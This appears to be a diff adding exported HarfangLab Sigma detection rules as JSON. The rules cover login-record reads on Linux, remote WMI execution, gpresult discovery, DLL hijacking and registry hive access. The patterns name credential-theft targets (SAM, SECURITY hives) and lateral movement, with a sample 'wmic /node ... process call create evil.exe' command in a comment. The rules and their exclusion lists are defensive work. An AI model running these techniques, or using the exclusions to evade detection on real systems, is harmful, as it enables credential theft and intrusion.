+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.564095Z",
+  "creation_date": "2026-03-23T11:45:34.622074Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622079Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1033/",
+    "https://attack.mitre.org/techniques/T1087/001/"
+  ],
+  "name": "t1033_login_records_read_linux.yml",
+  "content": "title: Suspicious Read of Login Records\nid: 87d7c639-91d6-4395-a982-e2f01a0e9a71\ndescription: |\n    Detects a suspicious attempt to read any of the login records: /var/run/utmp, /var/log/wtmp or /var/log/btmp.\n    Attackers may use it during discovery phase to retrieving information about the running system.\n      - /var/run/utmp maintains a full accounting of the current status of the system, system boot time, user logins, logouts, system events etc;\n      - /var/log/wtmp acts as a historical utmp;\n      - /var/log/btmp records failed login attempts.\n    These files are in a binary format and are usually accessed using specific commands but attackers can try and read them directly.\n    It is recommended to investigate the process performing this action to determine its legitimacy and look for other suspicious activities related to this process.\nreferences:\n    - https://attack.mitre.org/techniques/T1033/\n    - https://attack.mitre.org/techniques/T1087/001/\ndate: 2023/12/15\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - attack.t1087.001\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        Kind: 'access'\n        Permissions: 'read'\n        Path:\n            - '/var/run/utmp'\n            - '/var/log/wtmp'\n            - '/var/log/btmp'\n        ProcessImage|contains: '?'\n        ProcessParentImage|contains: '?'\n\n    filter_system_bin:\n        ProcessImage:\n            - '/usr/bin/last'\n            - '/usr/bin/lastlog'\n            - '/usr/bin/systemd-tmpfiles'\n            - '/bin/login'\n            - '/usr/bin/login'\n            - '/bin/su'\n            - '/usr/bin/su'\n            - '/usr/bin/logrotate'\n            - '/usr/sbin/logrotate'\n            - '/usr/bin/lslogins'\n            - '/bin/systemd-tmpfiles'\n            - '/usr/bin/lsattr'\n\n    exclusion_common:\n        ProcessImage:\n            - '/usr/bin/tail'\n            - '/usr/bin/file'\n            - '/bin/grep'\n            - '/usr/bin/grep'\n            - '/usr/bin/ac'\n            - '/usr/bin/rsync'\n            - '/bin/tar'\n            - '/usr/bin/tar'\n            - '/usr/sbin/crond' # /usr/sbin/crond -n\n            - '/lib/systemd/systemd-update-utmp'\n            - '/usr/lib/systemd/systemd-update-utmp'\n            - '/usr/lib/systemd/systemd-readahead'\n            - '/usr/bin/clamscan'\n            - '/usr/sbin/clamd'\n            - '/usr/libexec/cockpit-session'\n            - '/usr/lib/cockpit/cockpit-session'\n            - '/usr/sbin/lightdm'\n            - '/usr/libexec/gdm-session-worker'\n            - '/usr/lib/accounts-daemon'\n            - '/usr/libexec/accounts-daemon'\n            - '/usr/lib/accountsservice/accounts-daemon'\n            - '/nix/store/*-accountsservice-*/libexec/accounts-daemon'\n            - '/usr/sbin/vsep'\n            - '/usr/bin/mksquashfs'\n            - '/usr/bin/syft'\n            - '/usr/lib/openssh/sshd-session'\n            - '/usr/bin/rg'\n            - '/usr/bin/gzip'\n            - '/usr/sbin/agetty'\n            - '/usr/bin/lightdm'\n            - '/usr/bin/nautilus'\n\n    exclusion_ssh:\n        ProcessImage:\n            - '/usr/sbin/sshd'\n            - '/usr/local/libexec/sshd-session'\n            - '/usr/libexec/openssh/sshd-session'\n\n    exclusion_auditbeat:\n        ProcessImage: '/usr/share/auditbeat/bin/auditbeat'\n\n    exclusion_tina:\n        ProcessCommandLine|startswith:\n            - '/tina/timenavigator/tina/bin/'\n            - '/usr/tina/timenavigator/tina/bin/'\n\n    exclusion_bacula:\n        ProcessImage:\n            - '/usr/sbin/bacula-fd'\n            - '/opt/bacula/bin/bacula-fd'\n\n    exclusion_fsecure:\n        - ProcessImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n            - '/opt/f-secure/fsbg/bin/'\n            - '/opt/f-secure/atlant/fsbg/bin/'\n        - ProcessParentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessGrandparentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n\n    exclusion_wazuh:\n        - ProcessParentImage: '/var/ossec/bin/wazuh-logcollector'\n        - ProcessGrandparentImage: '/var/ossec/bin/wazuh-logcollector'\n\n    exclusion_aide:\n        ProcessImage: '/usr/bin/aide'\n\n    exclusion_chkrootkit:\n        ProcessImage:\n            - '/usr/lib/chkrootkit/chklastlog'\n            - '/usr/lib/chkrootkit/chkwtmp'\n\n    exclusion_lacework_datacollector:\n        # /var/lib/lacework/6.11.0.21858/datacollector\n        # /var/lib/lacework/6.7.6.19823/datacollector\n        ProcessImage: '/var/lib/lacework/*/datacollector'\n\n    exclusion_docker:\n        - ProcessImage: '/usr/bin/dockerd'\n        - ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim-runc-v2|'\n            - '|/usr/bin/runc|/usr/bin/dockerd|'\n\n    exclusion_bmc:\n        ProcessAncestors|contains: '|/opt/bmc/bladelogic/RSCD/bin/rscd_full|'\n\n    exclusion_deja-dup:\n        ProcessAncestors|startswith: '/usr/bin/deja-dup|'\n\n    exclusion_networker:\n        ProcessAncestors|startswith: '/usr/sbin/nsrexecd|'\n\n    exclusion_image:\n        ProcessImage:\n            - '/opt/landesk/bin/plugin'\n            - '/opt/sentinelone/bin/sentinelone-agent'\n            - '/opt/eset/efs/lib/oaeventd'\n            - '/opt/eset/efs/lib/odfeeder'\n            - '/opt/bitdefender-security-tools/bin/bdsecd'\n            - '/usr/local/bin/restic'\n            - '/opt/ds_agent/ds_am'\n            - '/opt/cybereason/sensor/bin/cbram'\n            - '/usr/bin/proxmox-backup-client'\n            - '/opt/microsoft/mdatp/sbin/wdavdaemon'\n            - '/opt/endpoint-agent/agent' # sekoia agent\n            - '/opt/nagiosagent/*/perl/bin/perl'\n            - '/opt/McAfee/ens/tp/bin/mfetpd'\n            - '/opt/traps/bin/pmd'\n            - '/kaniko/executor'\n            - '/opt/altiris/notification/nsagent/bin/aex-pluginmanager.bin'\n            - '/opt/Elastic/Agent/data/elastic-agent-*/components/osqueryd'\n            - '/opt/eGambit/das/dasc'\n            - '/usr/Atempo/TimeNavigator/tina/Bin/*'\n            - '/usr/local/Atempo/TimeNavigator/tina/Bin/*'\n            - '/opt/commvault/iDataAgent64/clBackup'\n            - '/usr/local/avamar/bin/avtar.bin'\n            - '/opt/sophos-av/engine/_/savscand.?'\n            - '/usr/openv/netbackup/bin/bpbkar'\n            - '/opt/omni/lbin/vbda'\n            - '/opt/dynatrace/oneagent/agent/lib64/oneagentos'\n            - '/opt/tivoli/tsm/client/ba/bin/dsmc'\n            - '/usr/local/sbin/proxmox-backup-client'\n            - '/opt/forticlient/epctrl'\n            - '/opt/forticlient/scanunit'\n            - '/opt/NAI/LinuxShield/libexec/nailsd'\n            - '/opt/f-secure/fsbg/bin/statusd'\n            - '/opt/Tanium/TaniumClient/TaniumCX'\n            - '/var/lib/rancher/k3s/data/*/bin/k3s'\n            - '/opt/CrowdStrike/falcon-sensor*'\n            - '/opt/Atempo/HN/bin/HNagent'\n            - '/opt/Druva/EnterpriseWorkloads/bin/PhoenixFSDtBackupAgent'\n            - '/usr/NX/bin/nxexec'\n            - '/opt/splunkforwarder/bin/splunkd'\n            - '/var/opt/kaspersky/kesl/*/opt/kaspersky/kesl/libexec/kesl'\n            - '/usr/local/bin/filebrowser'\n            - '/opt/dynatrace/agent/lib64/oneagentos'\n            - '/opt/forticlient/webfilter'\n            - '/usr/sbin/cbdaemon'\n            - '/opt/a5000/infra/utd/*' # Mitel\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_cron:\n        ProcessAncestors|contains: '|/usr/sbin/crond|'\n\n    exclusion_grafana:\n        ProcessImage: '/usr/bin/alloy'\n\n    exclusion_jumpcloud:\n        ProcessParentImage: '/opt/jc/bin/jumpcloud-agent'\n\n    exclusion_trendmicro:\n        ProcessCommandLine|startswith: '/opt/ds_agent/ds_am '\n\n    exclusion_borg:\n        ProcessCommandLine|startswith: '/usr/bin/python* /usr/bin/borg '\n\n    exclusion_pacemaker:\n        ProcessAncestors|contains: '|/usr/sbin/pacemakerd|'\n\n    exclusion_dolphin:\n        ProcessImage|endswith: '/kioworker'\n        ProcessParentImage: '/usr/bin/dolphin'\n\n    exclusion_restic:\n        ProcessCommandLine|contains: '/bin/restic backup '\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "87d7c639-91d6-4395-a982-e2f01a0e9a71",
+  "rule_name": "Suspicious Read of Login Records",
+  "rule_description": "Detects a suspicious attempt to read any of the login records: /var/run/utmp, /var/log/wtmp or /var/log/btmp.\nAttackers may use it during discovery phase to retrieving information about the running system.\n  - /var/run/utmp maintains a full accounting of the current status of the system, system boot time, user logins, logouts, system events etc;\n  - /var/log/wtmp acts as a historical utmp;\n  - /var/log/btmp records failed login attempts.\nThese files are in a binary format and are usually accessed using specific commands but attackers can try and read them directly.\nIt is recommended to investigate the process performing this action to determine its legitimacy and look for other suspicious activities related to this process.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1087.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "87f583d1-ca80-4cc4-bd29-8bb2d2fced2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073122Z",
+  "creation_date": "2026-03-23T11:45:34.073124Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073129Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/",
+    "https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic",
+    "https://attack.mitre.org/techniques/T1047/",
+    "https://attack.mitre.org/techniques/T1021/006/"
+  ],
+  "name": "t1021_006_wmi_process_call.yml",
+  "content": "title: Remote Execution via WMI\nid: 87f583d1-ca80-4cc4-bd29-8bb2d2fced2f\ndescription: |\n    Detects the usage of wmic.exe to launch executables remotely.\n    This can be used by an attacker to move laterally within an organisation or by an evil macro to execute further processes on the machine.\n    It is recommended to analyze processes launched remotely by WMI to look for malicious content or actions, and to look for further compromised machines by looking for lateral movement-related alerts following this one.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/\n    - https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic\n    - https://attack.mitre.org/techniques/T1047/\n    - https://attack.mitre.org/techniques/T1021/006/\ndate: 2021/04/01\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1047\n    - attack.lateral_movement\n    - attack.t1021.006\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # wmic.exe /node:\"192.168.0.1\" process call create evil.exe\n    selection_bin:\n        - Image|endswith: '\\wmic.exe'\n        - OriginalFileName: 'wmic.exe'\n\n    selection_cmd:\n        CommandLine|all:\n            - '*process *call *create*'\n            - '*node:*'\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "87f583d1-ca80-4cc4-bd29-8bb2d2fced2f",
+  "rule_name": "Remote Execution via WMI",
+  "rule_description": "Detects the usage of wmic.exe to launch executables remotely.\nThis can be used by an attacker to move laterally within an organisation or by an evil macro to execute further processes on the machine.\nIt is recommended to analyze processes launched remotely by WMI to look for malicious content or actions, and to look for further compromised machines by looking for lateral movement-related alerts following this one.\n",
+  "rule_creation_date": "2021-04-01",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.006",
+    "attack.t1047"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "884695e9-882c-429d-b67b-6821402eab76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606131Z",
+  "creation_date": "2026-03-23T11:45:34.606135Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606142Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
+    "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult",
+    "https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1615/T1615.md#atomic-test-1---display-group-policy-information-via-gpresult",
+    "https://attack.mitre.org/techniques/T1615/"
+  ],
+  "name": "t1615_group_policy_discovery_gpresult.yml",
+  "content": "title: Group Policy Information Discovered via gpresult.exe\nid: 884695e9-882c-429d-b67b-6821402eab76\ndescription: |\n    Detects an access to a group policy information using gpresult.\n    Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment.\n    It is recommended to investigate the execution context of gpresult, as well as to look for other type of malicious behavior on the target host.\nreferences:\n    - https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf\n    - https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult\n    - https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1615/T1615.md#atomic-test-1---display-group-policy-information-via-gpresult\n    - https://attack.mitre.org/techniques/T1615/\ndate: 2022/12/26\nmodified: 2025/02/05\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1615\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\gpresult.exe'\n        - OriginalFileName: 'gprslt.exe'\n\n    selection_commandline:\n        CommandLine|contains:\n            - '/z' # works with not space between command and argument\n            - ' -z'\n\n    exclusion_dickinson:\n        GrandparentImage: '?:\\Program Files (x86)\\Becton Dickinson\\EpiPreUpgrade\\EpiPreUpgrade.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "884695e9-882c-429d-b67b-6821402eab76",
+  "rule_name": "Group Policy Information Discovered via gpresult.exe",
+  "rule_description": "Detects an access to a group policy information using gpresult.\nAdversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment.\nIt is recommended to investigate the execution context of gpresult, as well as to look for other type of malicious behavior on the target host.\n",
+  "rule_creation_date": "2022-12-26",
+  "rule_modified_date": "2025-02-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1615"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "885916e7-ab33-491d-b06d-d054d6ba15e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586776Z",
+  "creation_date": "2026-03-23T11:45:34.586780Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586787Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tieringengineservice.yml",
+  "content": "title: DLL Hijacking via tieringengineservice.exe\nid: 885916e7-ab33-491d-b06d-d054d6ba15e6\ndescription: |\n    Detects potential Windows DLL Hijacking via tieringengineservice.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tieringengineservice.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CLUSAPI.dll'\n            - '\\DNSAPI.dll'\n            - '\\ESENT.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "885916e7-ab33-491d-b06d-d054d6ba15e6",
+  "rule_name": "DLL Hijacking via tieringengineservice.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tieringengineservice.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "885df422-ec8e-4f5d-81dc-26e4d816601f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623783Z",
+  "creation_date": "2026-03-23T11:45:34.623784Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623789Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/002/",
+    "https://attack.mitre.org/techniques/T1003/004/"
+  ],
+  "name": "t1003_registry_access_filesystem.yml",
+  "content": "title: Sensitive Registry Hive Accessed\nid: 885df422-ec8e-4f5d-81dc-26e4d816601f\ndescription: |\n    Detects file accesses to registry hives files.\n    Attackers may read registry hives directly from the disk, including backup files.\n    This can be indicative of an attempt to access sensitive information stored in registry hives (such as the SAM or the LSA secrets) for credential access.\n    It is recommended to investigate the process trying to access the hives for malicious contents.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/002/\n    - https://attack.mitre.org/techniques/T1003/004/\ndate: 2024/07/03\nmodified: 2025/12/01\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: filesystem_event\n    product: windows\ndetection:\n    selection:\n        Path|endswith:\n            - ':\\Windows\\System32\\config\\SAM'\n            - ':\\Windows\\System32\\config\\SECURITY'\n            - ':\\Windows\\System32\\config\\RegBack\\SAM'\n            - ':\\Windows\\System32\\config\\RegBack\\SECURITY'\n        Kind: 'read'\n        Image|contains: '?'\n\n    filter_registry:\n        ProcessName: 'Registry'\n        ProcessParentName: 'System'\n\n    filter_registry_missing1:\n        ProcessName: 'Registry'\n        ProcessSize: 0\n\n    filter_registry_missing2:\n        ProcessName: 'Registry'\n        ProcessSha256: '0000000000000000000000000000000000000000000000000000000000000000'\n\n    filter_invalid_path:\n        Path|startswith:\n            - '?:\\$WINDOWS.~BT\\'\n            - '?:\\$WinREAgent\\'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_dism:\n        Image:\n            - '?:\\Windows\\Temp\\\\????????-????-????-????-????????????\\DismHost.exe'\n            - '?:\\Temp\\\\????????-????-????-????-????????????\\DismHost.exe'\n            - '?:\\Windows\\System32\\Dism.exe'\n\n    exclusion_dism_plus:\n        ProcessOriginalFileName: 'Dism++.exe'\n        ProcessCompany: 'Chuyu Team'\n        ProcessProduct: 'Dism++'\n\n    exclusion_sources:\n        Image: '?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe'\n\n    exclusion_windows_bin:\n        Image:\n            - '?:\\Windows\\System32\\SrTasks.exe'\n            - '?:\\Windows\\System32\\ntdsutil.exe'\n\n    exclusion_defender:\n        ProcessImage:\n            - '?:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\*\\MsMpEng.exe'\n            - '?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Platform\\\\*\\MsSense.exe'\n        ProcessSignature :\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_vssvc:\n        Image: '?:\\Windows\\System32\\VSSVC.exe'\n\n    exclusion_sppcreation:\n        ProcessCommandLine: '?:\\Windows\\system32\\rundll32.exe /d srrstr.dll,ExecuteScheduledSPPCreation'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_svchost:\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k LocalSystemNetworkRestricted*'\n            - '?:\\windows\\system32\\svchost.exe -k sysmain*'\n            - '?:\\Windows\\system32\\svchost.exe -k wsappx*'\n            - '?:\\Windows\\system32\\svchost.exe -k defragsvc'\n\n    exclusion_rundll:\n        ProcessCommandLine: '?:\\Windows\\system32\\rundll32.exe aepdu.dll,AePduRunUpdate'\n        ProcessParentImage: '?:\\Windows\\system32\\services.exe'\n\n    exclusion_taskhost:\n        Image:\n            - '?:\\Windows\\System32\\taskhostw.exe'\n            - '?:\\Windows\\System32\\taskhost.exe'\n            - '?:\\Windows\\WinSxS\\\\*\\taskhost.exe'\n\n    exclusion_vmcompute:\n        Image: '?:\\Windows\\System32\\vmwp.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\vmcompute.exe'\n        ProcessGrandparentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_winsat:\n        Image: '?:\\Windows\\System32\\WinSAT.exe'\n        ProcessParentCommandLine: '?:\\WINDOWS\\system32\\rundll32.exe sysmain.dll,PfSvWsSwapAssessmentTask'\n\n    exclusion_wbengine:\n        Image: '?:\\Windows\\System32\\wbengine.exe'\n\n    exclusion_wmiprvse:\n        Image: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    exclusion_docker:\n        Image: '?:\\Windows\\System32\\dockerd.exe'\n\n    